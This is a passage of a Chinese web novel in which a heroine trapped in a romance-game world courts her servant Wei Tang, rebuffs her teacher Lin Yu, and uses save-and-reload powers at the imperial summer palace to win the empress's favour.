现在的过程都是被记在恋爱积分里的,你不想因为和一个丑npc说话耽误恋爱线的评定。 太子倔强的背影隐入人群。 卫棠有些发凉的手牵住你:“这个丑人是谁,癞蛤蟆一点自知之明都没有,敢妄想小姐,不要命了。说出这个词感觉嘴都好脏,小姐找个没人的地方亲亲我吧?” “嗯。” 舞蹈停了以后,你们去河面上滑冰。面对面、手牵手地玩了一阵,滑溜溜的冰面给人一种失控的感觉,但你知道没问题,你的手被另一个人稳稳抓住,他对这些玩的运动很有天分。 到傍晚,手里左一包右一包的东西坐进马车,你的脚都冻麻了。 卫棠脱了你的鞋袜,把你冰凉的脚塞进他的衣襟,用并不厚重的胸肌捂着。 然后顺着小腿给你按摩,力道适中,解了白天的疲乏。 你问他:“还有想去的地方吗?” 卫棠道:“小姐想去的地方,就是我想去的地方。” “对我许愿可以成真哦,我现在有的是时间。” “没有了,能待在你身边就好。我现在……” 他抬头对你笑:“感觉每天幸福得像假的,小姐是梦中仙女吗?是不是我快死的时候,遇见你,你为让我瞑目,编了这场故事给我?” 你将手掌伸到他按摩的手前,摆着不动,他慢半拍反应过来,停下手中指法,将手递给你。 你握着他的手,捏了捏:“是你在给我编故事。” 只是稍微对他好那么一点,把他当恋人看待,他就开始质疑这是不是梦,是不是虚假的。 “我说过,以后我会对你好。” 说没说过忘了,总之说一句。 他呼吸紧绷,胸口的肌肉出了形状:“要喘不过气了。” “我好高兴。” 送吻过来。 吻得投入,你们没有听到马车外的声音。 马车行回沈府。 林彧看到影子,从另一辆马车上落地,他脸色难看至极,没有打理自己就出了门。不过除了他自己,没人能看出他潦草的地方。 他的马车在沈府门口停了一天。沈父从官署回家撞见他,疑惑他不进府的缘由,他没有作答,只说之后给他解释。 按照年龄,林彧算是沈父族弟的年纪,但论资历,他自十几岁混迹官场,是他的前辈。现今两人立场不同,他不赞同林彧的主张,但还把他当至交好友看待。 林彧这边则与他生疏很多,唯一能说上的话就是景蕊的事。 他在这里停着而不进府,大约也是为了见景蕊。 林彧这些日子在震撼你的心意。想开以后,他决定面对面拒绝你,让你死心。 他与你相处时从未想过男女之情。要是想过,他与禽兽便没何不同。他不接受跟你有除了师徒以外的关系,他…… 说清楚。 一定要跟你说清楚。 他很多天没睡个好觉了,一切说开就好。 “景蕊,我——” 掀开马车的车帘,看到了从未想过的一幕。 你和你的“侍女”在接吻。 不。 那个人根本不是侍女,他的胸膛敞平着,不知羞耻地替你暖脚。 你允许他碰你的任何地方,接吻时耳尖发红,是被倾压而上的深吻。 虽然你们察觉到有外人很快分开,迅速整理衣衫和发髻。 但林彧就是感到无法呼吸。 不是他。 你说喜欢却嫁不了的那个人不是他,而是这个不男不女的贱人。 喜欢他什么? 喜欢他没用吗? 光论姿色,谁比谁差?凭什么? “景蕊,过来。” 这是今天约会,来自第二个可攻略对象的扰乱。 你越发坚信自己的思考是正确的,最后的恋爱评分就是要看这些东西。 只有走正确的路时,路才难走。 卫棠收整你敞开的领口,压入腰间束带,随后才去整理自己的衣服。 你原地不动:“林师父有事吗?扰人好事,是不是要回避一下?” 第77章 “跪下。” 客室内, 林彧高坐主位,没让下人点灯。傍晚光线昏暗,投进屋子里仅有的微光照得他脸色青白。 他审视着卫棠。 “我该问你是谁吗?” “性别是假的吗?哑巴是假的吗?沈大人可知情你的存在?亵渎小姐, 你要不要命?” “不说话?为什么不说话?不会说了?刚刚在车里不是很会叫吗?” 面对他咄咄逼人的问话, 卫棠始终不予回应, 站在你身后半步。 他没有跪。跪小姐可以,跪夫人可以, 林彧算什么,哪来的资格命令他下跪? 你袒护道:“林师父,这里是我家, 你是不是管太多了?” 林彧倏地眼望过来, 一路上他都在刻意回避你,此时听到你划分界限的话, 心脏揪起下坠。 他呵笑:“一日为师,终身……” 终身为什么, 他不想说。 他觉得自己没那么老。 总之。 “我是你师父,管你天经地义。” “没有这样的天经地义。” “你与他在一起便天经地义?” “没人这么说。” 你有点不耐烦:“我与卫棠是我娘同意了的,不用你管。” “都这个时候了,林师父还不回家吗?” 两句轻飘飘的话, 拥有非同一般的杀伤力。 林彧受到重创, 混混沌沌的痛苦中勉强有一丝清醒尚存。 天快黑了。 他不回家, 在这里管教走上歪路的学生干什么?没事闲的吗? 不,他从不做多余的事。他会如此不正常, 是因为你之前说了让他误会的话, 他以为你喜欢上他,结果你喜欢的另有其人。 他该感到放松的。跟他没关系了不是吗?未来后果再怎么凄惨,都是你和你的男仆需要共同承担的, 因为你们做了错事。 在马车里……那般没有规矩的样子,你们应该把男女之间所有事都做过了。 要是有孩子该怎么办?要指望那个男不男女不女的低贱奴隶养活你和孩子吗? 你要成为整个汴京城的笑柄了。 林彧抬手按额角,心中烦躁,一阵头痛。 你打断他:“还不走吗?我说得再直白些。” “关你什么事?” 林彧:“……” 他立刻起身,头也不回地离开客室。然而在转角处遇到了家里的猫猫大王,沉着脸原路返回。 “把你的猫抱走!” 卫棠蹲身,指头在地上点点,黑猫跳跃着到他面前,被他抱进怀里。 平时喂它最多的人就是他。卫棠也喜欢小动物,人猫相处很好。 林彧更加不爽,他无法理解自己的不爽,心里骂脑子有病,逃一样离开沈府。 卫棠手抚着黑猫的背,猫发出咕噜噜的响声。 “哼,摸不清自己是几瓣蒜,敢来小姐这捉奸。他以为他是谁?死清高,真下贱。” 你想说些什么,父亲身边的丫鬟找来,叫你去他的书房。 他找你,和林彧质问你的是一件事。林彧在门口那么大的反应,小厮看在眼里,匆匆回报给主人。 他问了卫棠的性别,与你的关系,你如实应答。隔了一张堆满文书的书案,父亲静默良久。 他想的和林彧不同。 作为你的父亲,他考虑的是更深层次的东西,比如为什么你的母亲会同意把如此美貌的男子养在你身边。 “你想要什么?” “我想和卫棠在一起一辈子。” “你娘怎么说?” “娘让我再看看。” 他笑了。 两手搓着,捂到脸上。 “是我不好……” “叫卫棠过来。” 父亲关门和卫棠说了一个时辰的话。 依旧是你坐在门外的石阶上等他。月梧给你垫了软垫,补暖炉里的炭火。 卫棠推门而出,头上女子的发髻和钗环都被他拆卸下来。他披散着乌黑的长发,面容在烛光里像盖着春叶的海棠花。 “小姐……” “你怎么在等我,冷不冷?” “我爹跟你说什么了?” “让我读书考取功名呢。” “他说,他也是布衣出身,不以身世论人高低,只要我有上进的心,有朝一日总会配得上小姐。” “嗯。” 卫棠仰头,望那轮亘古不变的月亮。 他小时候月亮就长这样,娘死后是这样,流浪被欺负时是这样,卖身到醉花音是这样,遇见小姐后还是这样。 “可是……” “我不识字呜呜呜……” “小姐笑我?我不识字怎么办,一天认一个字来得及吗?多了我记不住呜呜……” 卫棠在府中恢复男装,知情的不知情的都吓了一跳。 他本人的举止习惯并不温婉,不必伪装性别后,梳一个马尾,走路十分轻盈。 景妍绝食三天抗议你与卫棠的恋爱关系,她不喜欢这个姐夫,非要选一个的话,她宁愿支持云衢。 后来发现她暗中接受着云衢的饮食支援。 绝食威胁结束,死缠烂打十余日,未果,放弃。 中间某次厌恶值达100,开启了爱慕页面。这次就热闹很多,攻略对象除了杜枕溪都在榜上。 你做了什么示好的举动吗? 没吧。 十六岁的春天在卫棠艰难的读书进程中度过。 沐浴时,他哭唧唧地给你看他掉的头发。 “不想读书了……” 你宽慰他:“你要当我的丈夫啊。想想,别人那么不看好我们,我们却能凭借爱情,凭借坚定意志努力,过上人人艳羡的日子!多了不起!” 这种路线很正能量,评分应该不错。 “好!我一定要让小姐过上人人艳羡的日子!” 喝完你的鸡汤,他开始熬夜学习。 不困时,你陪他坐在一处看书,他写字很吃力,与其说写,不如说画,宽圆细窄,毫无美感。 你还蛮喜欢他笨拙认真的一面。主要还是长相加持,好看的人笨也有笨的可爱。 因为厨艺值是满的,研发配料和培育新品种的成功率也在100%。你在院子里种出苹果葡萄、草莓苹果、苹果土豆、苹果西瓜…… 百搭的苹果。 味道都不错,不过吃了这么多稀奇古怪的杂交水果,你发现还是苹果本身最好吃。 果茶、奶茶、雪糕,每种都能做出自己喜欢的味道,分给身边的人尝,厨房的嬷嬷来跟你讨教制作方法,随后把美味配方传到府外,成为汴京城里流行风潮,宫中的皇后娘娘尝过以后大加赞赏,问研发果茶的人是谁。 追踪溯源,查到你这里,下了很多赏赐。 你亲自清点的首饰,里面没有金雀钗。 这次没有,之后不一定没有。你继续研发不同口味的果茶送进宫里,为了不单调,还附上泡芙等甜点。 是的,你现在已经提取成功黄油了。 如果卫棠读书没有结果,你们可以开一家酒楼。有你高超的厨艺加持,生意定然做得风生水起。 但卫棠靠在你胸口,闷道:“我不想别人吃小姐做的菜。” 他说:“我会跳舞,我们要不要开……” 你道:“我也不想别人看到你跳舞。” 他轻笑了两声,仰头看你,觉得被占有好幸福:“那我还是好好读书。” 你坚持向皇后娘娘送美食示好的一段时间里,她向你发来“避暑行宫”的邀约。 月梧里里外外给你收拾行李。 母亲道:“这次随陛下、皇后娘娘去行宫,不是只有你一个人的好事。许多近臣家的女儿都去,切记小心。你爹如今官做得大,许多人背地里眼红,挖空心思找他的麻烦,说不定要倒霉在你头上。” “没发生最好,发生了也别慌,冷静处理。你表哥表姐都在,有事去找枕溪。” “小卫留在家里读书,月梧随你同去。” 父亲从官署放值回来,也叮嘱你:“见到圣人少说话少做事,你……你对中宫未免殷勤,怕是要惹些非议。” 他犹豫了下,到底问出口:“是嫌小卫没天分,还想嫁太子吗?小卫他虽然学识不通,但人算机灵,容貌也好,不是没有前途……” “怎么会,我不可能嫌弃他。” 你道:“我巴结皇后娘娘,只是想要她的金首饰而已。” 父亲:“……” 出发去行宫当日,宫中来接的人突然改变了主意,要景妍也同去。 原本景妍沉浸在与姐姐分开的悲伤情绪中,听到她也能去,立刻回院子,收拾好行李带着随身丫鬟跑过来。 马车出城后在一片树荫里停下,你掀开帘子,看到附近陆续停了其他马车,车里坐着的都是受皇后之邀的小姐公子们。 半个时辰后,帝后车架姗姗来迟,走在队伍的最前列。紧接着,你们的马车也开始行动。 一路闷热颠簸,马车里和冬天一样,放了个铁盆,不过里面放的不是烧红的炭火,眼下里面放的是冒寒气的冰块。 或许起到了降温的效果,但降温后依然很热。走得时间久了,温度才慢慢降下去,竹帘被风穿透拂动。 行到晚上,帝后落宿到提前准备好的驿站。地方官十分周到地给你们和仆人也准备了舒适的住宿。你与景妍住一间房,她早早洗完漱,躺在被子里等你聊天。 你道:“我要给卫棠写信,你先睡吧。” 评分高的恋情,就是异地也能给他足够高的安全感。 你撂笔:“写完了。” “好快……” 她下床看你的信: 【坐车,热。住店。】 你见她眼神诧异,解释:“他目前只认识这种常见字。” “……哦。” 她又看了看,找到夸点:“姐姐写字真好看。” “嗯,满值。” “姐姐总说奇怪的话。” 你正想说什么,木框碎裂发出巨响,有人破窗而入。 蒙面黑衣人两手握剑:“把钱都拿出来!别逼我动手杀你们!” 无人害怕。 景妍往你身后缩了缩,善意提醒黑衣人小心。 她见过姐姐把牛打飞到天上,晚上吃的全牛宴。 第78章 和几年前突然袭击你们的疯牛一般下场。 你朝黑衣人踢腿, 击落他手中紧攥的剑,脚背一勾挑断他的下巴。黑衣人痛呼倒地,连声叫喊开恩饶命。 景妍将他的剑捡起递到你手里:“姐姐!你处理还是我去叫人?” 你在【突击事件】中找到这个刺客, 级别为普通, 此人声望心性都很弱, 是最不起眼的那种npc。 “别叫人,姑奶奶们, 饶了我吧!我不想死啊!” “我就是,我就是想捞点小钱!你们那么有钱,我拿些金银细软, 我就走了!你们就当打发狗!别叫人来……” 景妍道:“可没见过狗要食吃是你这么要的。” “我错了!大小姐!我错了!” 你微微偏头深思。 劫财啊。 读档, 回到沐浴时,这是你每日例行存档的地方, 用于复盘时调整数值细节。 黑衣人破开窗子劈入室内,粗劣身手拔剑威胁:“把钱都拿出来!别逼我动手杀你们!” 景妍刚想开口冷嘲热讽, 被你捂住嘴,眼神示意她不要说话。 “壮士冷静,想要什么尽管拿好,我们的行李就在那头的柜子里!” 你拉着景妍做出强装镇定的神情后退, 黑衣人果然起疑, 没有去翻你们的财物, 而是大步走近你揪起你的衣领:“想耍什么花招?趁我不注意向别人求救吗?” “没……没这个心思。饶命!” “我现在就杀了你们!” 景妍“呜啊”一声从你背后冲出咬那黑衣人的手。 她不理解你为什么不出手,明明有压制对方的能力。 姐姐有姐姐的道理。 但她绝不允许别人当着她的面造次姐姐! “嘶!松口!” 你连忙握着景妍的肩膀护到怀里, 没让对方伤到她。 “杀了我们吧!只要别……” “别什么!快说!不然我杀了你妹妹!” “杀了我们, 就拿钱离开好吗?求你一定要放过驿站的老爷和夫人……” 黑衣人是当地的流氓混混,欠了一屁股赌债,不敢回家面对父母妻儿, 在外面游荡时发觉城中住进一些贵客,起了歹念。 他随便选了一间房,闯入遇见你与景妍。这种柔弱年轻的女眷再尊贵,身上也不会带多少财物。你口中的老爷和夫人才是最有钱的那些。 抢一下那种的才值得。 这样想着,他干脆地放过了你们,从窗子跳了出去。 景妍纳闷:“他不抢了?” 你穿了白天的外衣系带,坐在梳妆台前梳发髻。 “姐姐要出门吗?” “嗯,我自己去。” “……我又没说要跟着。” 普通等级的黑衣人应该不够抢帝后的资格。你追出去以后,在暗中帮他掩饰踪迹,一路收拾他的烂摊子,还要给他指引正确的路,总之,他进到了皇帝在驿站的寝居。 室内无人。黑衣人贪婪地装金制用具,一片布上堆出小座金山,已经没办法系上带走,但他还在搜罗阶段,没意识到这点。 你用变身道具变成烛台,倾斜身子朝那块布上落滚烫的蜡油,倾斜角度加大,有火焰随着蜡油滴落,寄宿在布上迅速扩展黑洞。 黑衣人:“天哎!倒霉死了!” 准备包东西的布自焚成灰,他只好把宝贝往怀里揣。 你变成一条项链,先是停在他的脚边,被他发现,想弯腰捡起来时,闪避外移。 七抓七躲,他没觉事情诡异,而是被激起胜负欲,挽袖追着你跑。 你把他带到皇后的院子后,化成杂草隐入草丛。黑衣人被院中宫女撞见,大声斥责他是什么人,并高声呼唤护卫。 两边缠斗,他狼狈逃窜,挟持了廊外纳凉的皇后。手中有人质后,他的通行变得顺畅。从后门逃出驿站,宫中近卫始终跟随着他,碍于皇后娘娘的安全,不敢轻举妄动。 皇后吓得魂不守舍,脖子贴到冰冷剑刃,不敢僵动分毫。 你适时“路过”出现,石子做暗器扔向黑衣人握剑的手,趁他吃痛锥手戳他双目,将人踩趴在地。 你担忧看向皇后,行礼。 “娘娘可无事?” 近卫们将黑衣人押下去。 皇后心有余悸,被你救后,再看你的眼睛都是亮的。 “是沈家的景蕊?好威风的女郎!今夜你可立了大功!要是没有你,要是没有你,本宫今日怕是要不好了!” “娘娘谬赞,身为天子臣民,保护娘娘安康是分内之事。” “小小年纪就有如此气度,不愧是敏娘的女儿!说说看,想要什么赏赐!” 目的达成。 你道:“娘娘随心赏赐便……” “祸水东引却有脸出来揽功讨赏,皇后娘娘,此女在你瞧不见的地方可有两副面孔。” 你的【金雀钗】请求发出一半被打断。 两侧近卫让出一条路,萧烈捆着景妍,拎她步步前行到皇后面前,讲明今夜之事在他眼中的真相。 原来他一早就发现黑衣人的闯入,因不明对方的目的,没有轻举妄动,打算暗中观察。 黑衣人就近闯入防守相对薄弱的你和景妍的房间。你和黑衣人“无心”的对话都被他听见,第一次听还能算你忠心耿耿,但后来你守株待兔的行为已经充分说明,你是故意在背后设计陷害皇后娘娘,又出来充当好人。 是这样的。 你想,原来黑衣人袭击时他在。 通过游戏刻意强调的[景妍的梦],你可以确定萧烈就是第二关的原男主。 往背景剧情里套,这是男主英雄救美女主的时机,但经历两次,你都没有给他这个机会。 存档。 读档回去。 你打算看看不加干预的情况下他会怎么做。 黑衣人第三次破窗,拔剑恶狠狠说着谋财害命的话。 你带景妍装哭示弱。 萧烈出现时,再平常不过的夜晚都变得非同一般。风只吹他额前碎发,睫毛轻轻扇动,月光像开了大灯,只照他一个人。 “没事吧?” 打翻个庸才而已,也能这么装? 不给他这个机会。 读档。 回到设计皇后的那个档。 你不承认你做过那些事。空口无凭,萧烈无法证明黑衣人挟持皇后是你指使。 你是那么文静优雅的女孩子,与世无争,没有害皇后的动机。就算萧烈和黑衣人的口供对上又能代表什么,谁知道是不是黑衣人含恨诬陷。 至于萧烈掺和这桩闲事,则被归纳到私人恩怨一栏。皇后娘娘不好插手,至多口头警告他。 她赏赐给你金银珠宝,你还是没拿到金雀钗。 但好感刷起来了。之后的路上,一直到住进行宫,皇后每次找人聊天都叫你。 景妍陪你一起。起初说不上话,她脑海中闪现那场梦里与皇后相处的片段,学会与她相处一般,渐渐敢于在皇后面前发言,因讨巧幽默,成了皇后身边仅次于你的红人。 每次一群贵族小姐同时出现,皇后总感兴趣欣赏、比较她们的才艺。 这是你辛苦养成多年,领取声望数值的地方。 【声望+200】 【声望659/1000】 不论是弹琴还是练字,第一名在皇后这里都会有奖励。赏赐的发钗已经从昆虫科到猫科,就是没有你想要的金雀钗。 也试过主动开口跟她明要,她倒是能给你,但这种形式送给你的不是游戏认可判定的结局,所以和没得到没有区别。 帝后在行宫避暑,太子留在汴京城与臣子监国。 行宫绿化率高,风吹得十分通畅,凉悠悠的,空气中弥漫湿润的植物清新气息。 杜枕溪从山里带回一头小鹿给你和景妍玩。 他很有动物缘,走到哪都能碰到可爱的动物。 小鹿长得十分漂亮,耳朵支棱在头的两侧,睫毛卷翘,鹿眼清澈温柔,乖乖巧巧盯着人看,黑鼻子扩张翕动着。 景妍怜惜抚摸它的头:“它才这么小,怎么就让它和娘亲分离了?” 杜枕溪道:“它的娘亲今早被狼吃掉,我正好路过救了它。” 说着话,他从怀里拿出信封给你,封皮上写着卫棠的名字。是他从家里寄来的信。 信里文绉绉写他的思念,问你是不是要天凉了才能回去。 附带家中近况。 母亲感染风寒,他代你伺候,隔夜痊愈。因为他们没有把母亲生病的消息告诉父亲,父亲近日都在赌气,但没人理他。 你走后,云衢在教他读书。他把你上学时喜欢的书赠给卫棠,还教他念不会念的字,解读释义。卫棠因着这些好,心中认可弟弟的厉害,跟你说他以后一定会成大器。 卫棠去父亲书房交作业时碰见过太子。他在纸上夸赞太子的美貌,说他身有异香,性情古怪,不喜欢被人盯脸。 买的好评吧? 那么多字只有“性情古怪”是真的。异香没闻过,但相貌丑一定见过。 他说山水有穷尽,相貌怎样好都只是眼下的短暂,他现在有自信跟别人拼内涵。 你看信时表情很温柔,看到有趣的内容,还会笑一笑。 景妍默默盯着,跟小鹿抱在一起,有点不爽姐姐因为别人变得心情好。但是姐姐心情好她也感觉很好…… “沈小姐,皇后娘娘新得了古迹,叫您二位去观画。” 第79章 皇后带你们赏的画是几百年前的画作。山水花卉鱼鸟都有, 不乏几张人像。 堂内摆了架子,画作如帘般整齐悬挂。 你们到时,皇后娘娘身边早围了人。例行行礼问安, 她笑着招呼你们自便。景妍趁机嘴甜, 夸她穿湖蓝色的衣裳好看, 她“哎呦”一声笑开,让身边人评理。 “怎么有这么轻浮的小丫头, 女子的容貌可不能随便夸呢。” 嘴上这样说,身边人都能听出她高兴。便明贬暗褒地开景妍玩笑:“是啊,沈二小姐再说下去, 怕是待会就有蜜虫来吃你的嘴了, 哈哈哈……” 这种说场面话的场合,你几乎不参加, 因为金雀钗并不会因为你说话好听赏赐下来。 木木听了几方交锋,暗中较量、争宠夺利, 你把视线放在他们身后的画作上。 游走半圈,你发现你在第一关留下的画。 画中人是谢珩。他面目柔和地立于泛旧的画纸中央,现代美化过的、从专业角度看完成度并不高的画法使他和前面几幅纯正的古画隔开鲜明的界限。当然,美貌程度也是断层的。 你仰头看画片刻, 从中找出很多处你糊弄处理的地方, 本该按撤回键重画的, 但手绘并没有那种功能。时间一长,那些当时看可以忽略的漏洞都显现出来。 因为不完美, 这幅画在你心里并不满意, 但画纸上除了你的印章落款之外,左下的空白处印满后世文人的红章。 后面的几幅画受到你的影响,有几处笔触和你的坏习惯一致。 这是神奇的感受。 你真实地在游戏时空留下了自己的轨迹。 “倒是没见过你们作画……” 皇后娘娘的声音响在不远处。 你收回那些发散的思绪, 话音落下,又一场无形的比赛在你们中间召开。 存档。 你要拿第一。 在皇后这里拿了大满贯,说不定金雀钗就能发下来送你了。 抱着这样的想法,你回到人群的外围,等待施展画技的机会。 皇后将你的斗志看在眼里,拿帕子遮掩嘴角的笑意。 她故意这么说的。 最近发现你似乎很在意胜负,每次遇到比试都能拿出让人赞叹的好本事。 平日性情恬淡,什么都不在意的小姑娘,遇到自己在行的事突然变得认真,她觉得你的这一点很可爱。为此甚至在找不到提出比试借口时主动创造一个,赏画就是。 她认识顾清,你是顾清的学生,功法一定也不差。 这是一种相当高的标准。 命题:堂中摆放的一盆兰花。 你画了三次,就在皇后眼中看到三次的失望。 继续读档。 铺展画纸,你换了思维,把你视野中除了兰花以外的全部影像都画进了画纸,包括在座椅上受宫女扇风的皇后。 你有意把画中的主角定成她,用复杂的线条包装。 这次,魁首终于定给了你,皇后对你的画十分满意,吩咐女官带下去收藏。 【奖励】:紫端石砚、漆木画匣 回房后,月梧对着你收到的赏赐发愁。来时带的行李就不少,到行宫之后连着几倍增长,她有些担心怎么把这些东西运回去。 你和景妍洗漱完毕,躺着夜话。正说到住在一起的事,你跟她说还有除了躺在一张床上以外的同居一室的办法,给她描述上下铺的概念。 她忽然坐直身子,盯着掌心看。只有柜子那头点了烛灯,投到你们这边几乎没有光亮,但还是能看出她手上有一抹暗色的痕迹。 “姐姐……我好像……流血了!” “这是……这是……怎么办,我是不是要死了!!呜呜呜……” 你愣了一下,反应过来她是来了初潮,朝外屋喊月梧。 月梧连点了九个烛台,总算将卧室照得亮些。你们到了年纪,又出远门,她对这种事提前做了准备。 兑了盆温水给景妍擦拭干净,月梧教她什么是月经,以后怎么应对,腰巾如何穿,什么时候更换…… “二小姐是要成人了,别害怕。” 景妍睫毛上还挂了泪珠,窝在你怀里抽泣,点头回应月梧的安慰。 你感慨于小女孩的成长,思索再过一年她办及笄礼的事,要送礼物。 不太想让景妍嫁人,你认为萧烈配不上她。 月梧朝你投来担忧的目光。 你十六岁了。 若是寻常人家的女儿,应该都嫁人生子。可你还没来月事。 为了不让你心里难受,她和夫人都没有明说这件事,私下吩咐医者给你调理身体。 但是没用。在你十三岁那年,她们就安排你吃药膳,最大的作用就是你的饭量因难吃而变小,除此之外毫无影响。她们盼着的月事一直没有造访你。 过去还能自我安慰,你年纪小,有些人就是晚来的。但是如今二小姐都来了,再没借口。她们要认清你可能不孕现状,早做打算。 你并不清楚月梧心里的诸多想法。 换完床单,喂景妍喝了滋补身体的红枣粥,关灯入睡。 第二天睡到自然醒。皇后没有召见,你和景妍去湖里划船玩。 湖面粼粼碎金,岸边柳枝拂水。看着是难得美景,只是太阳毒辣,闷得人心热。划了一小圈船,你们便回到岸边阴凉处休憩。 杜枕溪抱着小鹿过来给你和景妍玩。小鹿着地以后迟疑迈步到你们身边,“嗯”、“咩”地叫着,声音稚嫩。 今日的小鹿格外关注景妍,凑到她身边用头顶她。 你在一旁看着,不多时,手边出现一只白兔。它湿乎乎的鼻子嗅闻你,转头也要往景妍那边去,被杜枕溪捏着后背挪回来。 “你跟着景蕊玩,景妍那边有鹿陪了。” 白兔不会说话,但是老老实实坐你身边没再走过,让你摸了个痛快。 “这只也是你救的?” 杜枕溪道:“是被托付的。大兔子是这里的住民,会挑它喜欢的人送孩子。” “景蕊喜欢吗?要不要带回家?” “不养,我有黑猫了。” 你们静坐片刻,听风吹过遗留的树声和水声。 他拔地上的花草给你编手链和花环,聊他和其他动物的故事。 他来到行宫之后还养了蛇、壁虎、小羊,给一只吊睛白额老虎治伤。 “老虎爪有这么厚。” 他比划出厚度,“还会打呼噜,和小猫一样。习性之外,老虎的表情会更有威严。” 你头顶着他编的野花环,问:“老虎头不是长毛了?看得出表情吗?” 杜枕溪道:“有啊。” 他身边的小厮拿了冰来,一人面前放下一碗,笑道:“我家公子天生懂兽语,夫人说,他怕是天上驭兽的官被赶下来的,飞禽走兽见了他都叫得勤。” 你觉得这也算一种才能。 都在行宫住着,很快皇后也听说了杜枕溪的才能,将她养在行宫的小动物都交给他照看,并提出训练要求。 皇后娘娘的口味被你养刁了,抱着下次看鱼鸟它们能跟她说话的期望,把一切交给了杜枕溪。 杜枕溪只是喜欢小动物,并没有撬开嘴,让它们说话的本事,他只能做到用心照料。 爱好变成工作就会痛苦。 一直到离开行宫的那天,你都没再见过这位表哥。 行车途中,你听到宫人们提起,杜相的曾孙把皇后娘娘的雀鸟给养死了。明明把野生的鹿、蛇都养得很好,到皇后娘娘的宠鸟这里却出了事故,还坚持说自己没做错,处处用心。 他被皇后娘娘提前赶回家,他手里养的那些小动物,则被一些内侍自发虐杀邀宠,以替宠鸟出气的名义。 “……” 不管怎么样,小动物是无辜的。 你也想查清是否有人在害表哥。 读档。 回到半个月前诗赋比赛的那天。你把作过得奖的五言绝句默写一遍,交给皇后娘娘。 领完不在意的奖励,你动身去男眷那边找杜枕溪。 他的小厮见你很惊讶:“表小姐……你……” “我这就去通报公子!” 杜枕溪还在,也就是说皇后娘娘的鸟还活着。 你没等小厮通报,直接进到他房间,进门被倒吊的蛇吓了一跳,原路吓回庭院。 杜枕溪听到你的惊叫,连忙从里间出来,长袖还在身后挂着,到你身边查看情况。 “有伤到哪吗?” 你摇头。 他道:“别害怕,长公不咬人。” “长公”应该是他给蛇取的名字。与你不喜欢给动物取名的习惯相反,他非常喜欢给属于他的事物取名。 母亲跟你聊起他时,还说他小时候会给枕头被子取名的趣事。 从头到脚检查一番,确认你是真的没事,他才松口气。 回身发现屋子里有鸟扑腾飞了出来,他脸色一白,意识到自己出来得匆忙忘记关门。 你向上一跳,凭借武力值带来的高敏捷度轻松将鸟捏腿抓在手里。 是麻雀。 被你捏住脚后展翅扑腾两下,最后顺从命运,爪子张开抓住你的手。 这应该就是皇后娘娘死的那只鸟。 圆滚滚的一只,头上是粉褐色的毛,身上橘色、黑色、白色混杂,尾巴寸长一束。 看着还挺可爱的。 你把鸟还给了杜枕溪。 他郑重向你道谢,随后有些烦恼地介绍了这只麻雀。 它是太子小时候在行宫外捡回来的,一直养在这里,有五六年。 “皇后娘娘说我把温君养得好,要我也养养太子的鸟。” 温君就是那头小鹿,跟在杜枕溪身边越来越通人性。 “如此,表哥可要好好照顾它,若是出了什么闪失不好对娘娘交代。” “自然。” 算是提醒他要小心这门差事。 几日后,你在他的【人物档案】里发现那只麻雀的死亡事件。 第80章 随处可见的鸟, 成为尊贵之人的所有物,就有了牵连无辜的本事。 你提着裙摆起身,透着盎然绿意的窗前, 景妍捏白子的手停在半空:“姐姐?” “我出门一趟, 自己去。” “……” 又自己去。 景妍落棋, 捡黑三子,望窗外你步履匆匆的背影叹了口气。 你赶去现场时, 杜枕溪正脸色凝重地摆弄那只死去的麻雀。 你问立在门口的小厮:“此事可有别人知晓?” 小厮懵着摇头:“什……什么事啊?表小姐,您怎么来这边了?兽房味重,找我家公子的话, 不如先去客室小坐片刻?” 看来连他也还不知道, 只是单纯陪在主人身侧。 你朝杜枕溪走去,他看起来有些焦虑, 连你靠近都没有察觉。 “是有人陷害你?” 他循声转头,愣了下, 轻叫你的名字:“景蕊啊。” 随后反应你的话:“陷害?” “麻雀不是死了?” “……哦,那个。不是陷害,是它太老了,是个鸟婆婆, 眼下寿终正寝。” 原来是老死的。 “你打算怎么报给皇后娘娘?” “如实。” “要是她不信呢?” 你道:“如果不是你说, 我根本看不出它的年纪。我信你, 别人未必,有心人稍微挑拨, 问你其他动物都养得好好的, 偏偏养死娘娘的鸟,你怎么解释?” 杜枕溪张了张嘴,什么都说不出来。 “会有人那么坏吗?” 你道:“还有更坏的。皇后娘娘生你的气, 把你赶走之后,那些坏人就拿长公、温君出气,虐死它们做蛇羹、吃鹿肉。” “……” “所以你不要把这只鸟老死的事告诉别人。” “可是,瞒得了一时,瞒不了一世。娘娘若想看望这只雀鸟……还是交代……” “我有办法,你先出去找个没人的地方把它埋了。” 见他不动,你问:“不相信我?” 杜枕溪摇头。 “我只是担心,这样是不是也将你牵扯进来,本来跟你没关系,我不知如何对姑姑交代。” “不必交代,因为我娘根本就不会听说这件事。” 目送他离开,将屋门关紧,你变成皇后的麻雀,站到脚架上。 认为可行,又变回自己的样子。等杜枕溪回来吩咐:“我找到一只长相一样的麻雀,等下放它到皇后娘娘身边,你要装出鸟不见了恐慌去拜见她请罪,之后顺势把这个差事辞了,能做到吗?” “……” “真的不会牵连到你?” “不会。” 当晚,你变成那只麻雀,飞到皇后的住处,落在窗边啄羽毛。 有宫女惊讶:“娘娘,来了只小麻雀。” 另一位道:“要是喜鹊就好了,娘娘天天挂念殿下,真希望发生些好事。” “要赶出去吗?” “赶走吧,别脏了娘娘的住处。” 她们挥手试图将你赶走,但你纹丝不动。 “奇怪,它不怕人。” “我看着还有点眼熟……” “呀!它不就是殿下小时候救回来的那只雀鸟吗?娘娘吩咐杜公子养……” “娘娘,殿下的鸟飞来找您了!” 顺着她们的招呼声,你飞入室内,到皇后身边的桌案上落脚,歪头装可爱。 于是迎来女孩子们好一番逗弄。 “它看着娘娘呢,像是能听懂我们说话!” “我剥了个葡萄,看看它吃不吃!” 吃。 当然吃。 你倒是没想过变小吃东西的滋味。葡萄大小之于麻雀,就像西瓜对人一样。咬了满满一口,甜蜜的汁水在嘴里爆开。 缺点是吃了两口就饱了,放在本体,一整颗葡萄都不够塞牙缝的。 皇后用团扇刮你的头,跟宫女们叙旧。 “这鸟还是晞儿小时候捡回来的,他说长大以后做大侠,用它当坐骑。一晃过去这么多年,倒是没再听他说这事。” “殿下长大了,哪里能把童言当真。” “是呢,长大了。京中朝政处理得如何?” “殿下聪明,政事处理得中规中矩。既不抢陛下的政绩,也没留下话柄让人拿他做文章。” “他没这样的心眼,应是阿彧在背后提点他。” 皇后叹气:“日后晞儿登基,不知舅侄二人要胡闹成什么样子。” “彧公子有分寸的。” “罢了,不说他们,没一个让我省心。” 说着话,外面来人传杜枕溪求见。 